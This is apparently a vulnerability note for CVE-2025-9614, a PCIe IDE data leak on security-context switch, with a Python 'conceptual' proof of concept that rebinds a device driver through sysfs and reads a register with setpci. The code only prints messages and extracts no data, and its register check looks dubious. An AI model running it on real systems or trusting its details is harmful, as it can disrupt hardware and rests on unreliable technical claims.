CVE-2025-9614 PCIe IDE安全上下文切换数据泄露漏洞

# This is a conceptual PoC for CVE-2025-9614 # Note: Actual exploitation requires hardware access and PCIe IDE implementation # This PoC demonstrates the attack concept at driver level import os import subprocess def trigger_device_rebind(pcie_device_id): """ Trigger PCIe device rebinding to a new security context This simulates the condition that can lead to stale transaction processing """ # Write to device rebind sysfs interface rebind_path = f'/sys/bus/pci/drivers/<driver>/bind' try: with open(rebind_path, 'w') as f: f.write(pcie_device_id) return True except PermissionError: print('Requires root privileges') return False except FileNotFoundError: print('Device or driver not found') return False def check_ide_status(pcie_device): """ Check if PCIe IDE is enabled and capture state for analysis """ # Check IDE capability registers cmd = ['setpci', '-s', pcie_device, 'CAP_EXP+0x04.L'] try: result = subprocess.run(cmd, capture_output=True, text=True) ide_enabled = int(result.stdout.strip(), 16) & 0x02 return ide_enabled > 0 except Exception as e: print(f'Error checking IDE status: {e}') return False def exploit_stale_transactions(pcie_device): """ Attempt to observe stale transactions after rebind This PoC checks if old context data is still accessible """ if not check_ide_status(pcie_device): print('IDE not enabled - not vulnerable') return False # Trigger rebind if trigger_device_rebind(pcie_device): # After rebind, attempt to read any stale data # In real attack, this would capture data from previous security domain print('Device rebind triggered - checking for stale transactions...') # Analysis would require PCIe protocol analyzer or IDE-specific tools return True return False if __name__ == '__main__': # Example PCIe device BDF address target_device = '0000:01:00.0' exploit_stale_transactions(target_device)